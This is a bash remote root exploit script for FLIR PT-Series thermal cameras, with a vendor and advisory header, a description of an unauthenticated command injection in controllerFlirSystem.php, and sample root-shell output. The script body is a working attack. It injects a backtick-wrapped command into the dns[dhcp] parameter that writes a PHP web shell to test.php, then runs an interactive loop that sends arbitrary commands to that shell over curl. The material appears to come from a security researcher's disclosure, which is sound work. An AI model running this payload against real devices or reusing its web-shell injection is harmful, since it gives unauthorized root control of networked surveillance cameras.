#!/bin/bash # # # FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit # # # Vendor: FLIR Systems, Inc. # Product web page: http://www.flir.com # Affected version: Firmware version: 8.0.0.64 # Software version: 10.0.2.43 # Release: 1.3.4 GA, 1.3.3 GA and 1.3.2 # # Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras # bring thermal and visible-light imaging together in a system that gives you # video and control over both IP and analog networks. The PT-Series' precision # pan/tilt mechanism gives you accurate pointing control while providing fully # programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions. # PT-Series cameras define a new standard of performance with five models that # provide full 640x480 thermal resolution. # # Desc: FLIR Camera PT-Series suffers from multiple unauthenticated remote command # injection vulnerabilities. The vulnerability exist due to several POST parameters # in controllerFlirSystem.php script when calling the execFlirSystem() function not # being sanitized when using the shell_exec() PHP function while updating the network # settings on the affected device. This allows the attacker to execute arbitrary system # commands as the root user and bypass access controls in place. # # ======================================================== # # bash-3.2$ ./flir0.sh 10.0.0.10 8088 # # Probing target: http://10.0.0.10:8088 # # Status: 200 # Target seems OK! # You got shell! # Ctrl+C to exit. # # [root@FLIR ~]# id;pwd;uname -a # uid=0(root) gid=0(root) # /var/www/data/maintenance # Linux FLIR 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 #1 Wed May 1 12:25:27 PDT 2013 armv5tejl unknown # [root@FLIR ~]# ^C # bash-3.2$ # # ======================================================== # # Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le # Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 # Nexus Server/2.5.29.0 # Nexus Server/2.5.14.0 # Nexus Server/2.5.13.0 # lighttpd/1.4.28 # PHP/5.4.7 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5438 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5438.php # # # 23.03.2017 #
set -euo pipefail IFS=$'\n\t'
if [ "$#" -ne 2 ]; then echo -e "Usage: $0 ipaddr port\\n" exit 1 fi
ip=$1 port=$2 echo -e "\\nProbing target: http://$ip:$port\\n"
payload="dns%5Bdhcp%5D=%60echo+\"<?php+system(\\\\\$_GET['c']);?>\">test.php%60&dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D=" htcode=$(curl -Is -G http://"$ip":"$port"/maintenance/controllerFlirSystem.php -d"$payload" 2>/dev/null | head -1 | awk -F" " '{print $2}')
echo -ne "Status: "; echo "$htcode"
if [ "$htcode" == "200" ]; then echo "Target seems OK!" else echo "Ajdee...something went wrong. Check your target." exit 1 fi
echo -e "You got shell!\\nCtrl+C to exit.\\n"
while true; do echo -ne "\\033[31m"; read -rp "[root@FLIR ~]# " cmd echo -ne "\\033[00m"; shell="http://$ip:$port/maintenance/test.php?c=${cmd// /+}" curl "$shell" done
|